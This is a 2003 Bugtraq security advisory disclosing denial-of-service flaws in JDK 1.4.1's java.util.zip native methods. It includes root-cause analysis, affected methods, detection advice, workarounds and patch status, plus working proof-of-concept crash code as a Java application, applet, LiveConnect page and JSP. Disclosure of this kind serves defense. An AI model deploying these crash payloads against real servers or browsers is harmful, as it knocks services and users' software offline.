Denial-Of-Service holes in JDK 1.4.1_01 From: Marc Schoenefeld <schonef@uni-muenster.de> To: bugtraq@securityfocus.com Date: Today 00.20.47 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Denial-Of-Service holes in JDK 1.4.1_01 Security Alert by Marc Schoenefeld (html version at http://www.illegalaccess.org) Several Java distributions (like the popular JDK 1.4.1 JRE from Sun) have been found to contain several locally Denial of Service vulnerabilities in java.util.zip.* system-classes exploitable by malicious applets and applications Mar 10, 2003 Description: Several Java distributions (like the popular JDK 1.4.1 JRE from Sun) have been found to contain a locally exploitable Denial of Service. The problem appears difficult to exploit, but hackers have a history of discovering and releasing exploit code for exploitable flaws. The techniques described here have been presented at the Blackhat Windows Security 2003 conference. The following threats appear on the whole range where java technology is present: A malicious user or an attacker could insert the described exploitable API code to force JVM crashes in the ISPs runtime environment. This will cause outage of the JSP / servlet service the JVM is running for. This has been tested with Tomcat 4.1.18 with security options turned on. There is not only a threat for server-based services, furthermore a malicious applet containing the code exploiting the vulnerable classes could crash browser software like Internet Explorer, Netscape Navigator, Lotus Notes that have Java functionality enabled. Analysis: Java DK 1.4.1 has entry points to native libraries. These entry points can be called with parameters (java simple types or objects). If an object value is set to null and the native routine does not provide appropriate check for null values, the JVM reaches an undefined state and typically ends of in a JVM crash. The following proof of concept code describes the problem stated above. If you are interested for details about JVM security see the presentation of Marc Schoenefeld at Blackhat USA 2002 and LSD-PL at Blackhat Asia 2002. In this specific case there seems to a protection against buffer underflow in the vulnerable classes, which can be disabled by a special combination of the accompanying parameters, which cause via an underflow condition. If the injected buffer can be used for shell code injection is still under investigation. This vulnerabilities can be exploited in the following scenarios if the vulnerable method is called in a java application, there is low to medium risk, because attacker normally needs access to local file system, the risk if classes are loaded dynamically from the network and the jar-files are infected with the exploit in a java servlet or java server page, there is medium to high risk, because attacker normally needs access to the webroot directory. After injecting an infected servlet/server page , the attacker calls it via http and the servlet engine (tested with tomcat 4.1.18) dies with an JVM crash. Unfortunately the -security parameter has no effect, because java.util.zip.CRC32 is a trusted class. in a java servlet, there is high risk, resulting in a denial-of-service of the browser software. This has been tested with several browsers and JDKs plugged in on W32 and Linux, including popular platforms like Internet Explorer 5/6, Mozilla and Konqueror browser utilizing Java Plugins like the current JRE 1.4.1 or JRE 1.3.1. D:\entw\java\blackhat\crash>java -classpath . CRCCrash.java Result An unexpected exception has been detected in native code outside the VM. Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6D3220A4 Function=Java_java_util_zip_ZipEntry_initFields+0x288 Library=C:\Programme\Java\j2re1.4.1_01\bin\zip.dll Current Java thread: at java.util.zip.CRC32.updateBytes(Native Method) at java.util.zip.CRC32.update(CRC32.java:53) at CRCCrash.main(CRCCrash.java:3) Dynamic libraries: 0x00400000 - 0x00406000 C:\WINDOWS\system32\java.exe 0x77F40000 - 0x77FEE000 C:\WINDOWS\System32\ntdll.dll 0x77E40000 - 0x77F38000 C:\WINDOWS\system32\kernel32.dll 0x77DA0000 - 0x77E3C000 C:\WINDOWS\system32\ADVAPI32.dll 0x78000000 - 0x78086000 C:\WINDOWS\system32\RPCRT4.dll 0x77BE0000 - 0x77C33000 C:\WINDOWS\system32\MSVCRT.dll 0x6D330000 - 0x6D45A000 C:\Programme\Java\j2re1.4.1_01\bin\client\jvm.dll 0x77D10000 - 0x77D9C000 C:\WINDOWS\system32\USER32.dll 0x77C40000 - 0x77C80000 C:\WINDOWS\system32\GDI32.dll 0x76AF0000 - 0x76B1D000 C:\WINDOWS\system32\WINMM.dll 0x76330000 - 0x7634C000 C:\WINDOWS\System32\IMM32.DLL 0x6D1D0000 - 0x6D1D7000 C:\Programme\Java\j2re1.4.1_01\bin\hpi.dll 0x6D300000 - 0x6D30D000 C:\Programme\Java\j2re1.4.1_01\bin\verify.dll 0x6D210000 - 0x6D229000 C:\Programme\Java\j2re1.4.1_01\bin\java.dll 0x6D320000 - 0x6D32D000 C:\Programme\Java\j2re1.4.1_01\bin\zip.dll 0x76C50000 - 0x76C72000 C:\WINDOWS\system32\imagehlp.dll 0x6DA00000 - 0x6DA7D000 C:\WINDOWS\system32\DBGHELP.dll 0x77BD0000 - 0x77BD7000 C:\WINDOWS\system32\VERSION.dll 0x76BB0000 - 0x76BBB000 C:\WINDOWS\system32\PSAPI.DLL Local Time = Mon Feb 03 12:15:38 2003 Elapsed Time = 0 # # The exception above was detected in native code outside the VM # # Java VM: Java HotSpot(TM) Client VM (1.4.1_01-b01 mixed mode) # Figure 1: JVM Crash Sample Exploit Application This application has been successfully tested harmful with Sun JDK 1.3.1, 1.4.0, 1.4.1, IBM JDK 1.3.1 on several tested platforms including W32, Linux, Solaris and AIX. As this exploit affects trusted system libs it is likely that J2EE application servers and JMX runtime components are also affected. If non-desktop related java environments like the embedded solutions frameworks (MIDP) for devices like cellular phones is affected is still under investigation. public class CRCCrash { public static void main(String[] args) { (new java.util.zip.CRC32()).update(new byte[0] ,4 , Integer.MAX_VALUE-3); } } Figure 2: CRCCrash.java Sample Exploit Applet This applet has been successfully tested harmful with IE6, IE5, Mozilla, Konqueror, but it is expected that other java based browsers and systems with embedding browsers with java functionality like Lotus Notes, Outlook, etc. are also vulnerable because the exploitable component is the underlying JDK (see above). /** * Describe class <code>CRC32CrashApplet</code> here. * * @author <a href="mailto:Marc@illegalaccess.org">Marc Schoenefeld</a> * @version 1.0 */ public class CRC32CrashApplet extends java.applet.Applet { public void paint(java.awt.Graphics g) { java.util.zip.CRC32 crc = new java.util.zip.CRC32(); crc.update(new byte[0],4,Integer.MAX_VALUE-3); g.drawString("Crash the browser!", 20, 90); } } Figure 3: CRC32CrashApplet.java Sample Exploit Liveconnect page <html> <body> <script language=javascript> b=java.lang.String("");c=b.getBytes();a=new java.util.zip.Adler32();a.update(c,4, 0x7ffffffc); </script> </body> </html> Figure 4: CRC32Crash.html Sample Exploit Java Server Page This server page has been tested with Apache Jakarta Tomcat 4.1.18, but it is expected that other servlet engines like Websphere, JRun are also vulnerable because the exploitable component is the underlying JDK (see above). <%@pagecontentType="text/html;charset=WINDOWS-1252" import="java.util.zip.*"%> <% %> <%! %> <% (new CRC32()).update(new byte[0],4,Integer.MAX_VALUE-3); %> <html> <head> <title>Crash-JSP mit java.util.zip.CRC32.update</title> </head> <body> <hr> <h1>Crash-JSP mit sun.misc.MessageUtils.toStderr(null)</h1> <h2> Marc Schoenefeld , marc@illegalaccess.org </h2> </body> </html> Figure 5: CRC32CrashApplet.jsp Affected methods and classes java.util.zip.Adler32().update(?); java.util.zip.Deflater().setDictionary(?); java.util.zip.CRC32().update(?); java.util.zip.Deflater().deflate(?); java.util.zip.CheckedOutputStream().write(?); java.util.zip.CheckedInputStream().read(?); Detection: Scan the importes of the (if self-written) classes of your java applications (especially if downloaded from remote sites) if they call into the affected methods. Analysis: CRC32 has native calls in the following methods: private native static int update(int adler, int b); private native static int updateBytes(int adler, byte[] b, int off, int len); It was detected to be that the source of all vulnerabilites are inadequate range checks which then lead to integer overflows. The CRC32 functions that guard the native call to zip.dll seems to be coded somehow like the following: public class CRC32 [...] { [...] public void update(byte[] buff, int offset, int lenny) { if (buff == null) { throw new NullPointerException(); } if (offset < 0 || lenni < 0 || offset + lenny > buff.length) { throw new ArrayIndexOutOfBoundsException(); } adler = updateBytes(adler, b, offset, lenny); } the buffer has to be non-null, therefore the exploit uses byte[0] if offset < 0 the call is rejected if lenny< 0 the call is rejected If offset + lenny is larger than buff.length the call is rejected To exploit the vulnerability a situation must be created where offset + lenny =< buff.length AND offset >= 0 AND lenny >=0 which is in our example given for x = 4 : offset = x AND length = Integer.MAX_VALUE - x + buff.length+1 Workaround: Disable Java , or if this is not possible Do not download java applet from untrusted sources Ask your JRE/JDK vendor (Sun, IBM, ?) for a security update Patch Available The vulnerabilities described here are no longer present in JDK 1.4.1_02. The present JDK 1.3.1_07 is still affected. A patch for IBM JDK is not known. History The bugs have been reported to the official java bug database on Feb 03, 2003 and have been considered to be new, their URLs in the bug database are http://developer.java.sun.com/developer/bugParade/bugs/4811913.html http://developer.java.sun.com/developer/bugParade/bugs/4812181.html http://developer.java.sun.com/developer/bugParade/bugs/4812006.html http://developer.java.sun.com/developer/bugParade/bugs/4811927.html http://developer.java.sun.com/developer/bugParade/bugs/4811917.html Further Information An extended version of this report with a summary about native method vulnerabilites can be downloaded from IDefense.com. Contributor: Marc Schoenefeld , www.illegalaccess.org First they ignore you Then they laugh at you Then they fight you Then you win - -- Mahatma Gandhi-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (AIX) Comment: For info see http://www.gnupg.org iD8DBQE+cmPRqCaQvrKNUNQRAugTAJ9Ip4M9iNjVX5cZc9ZXn25Wl6/o2wCfRdM0 TN6Bn7xHA7bMu5vwhsnORBo= =bKyo -----END PGP SIGNATURE-----
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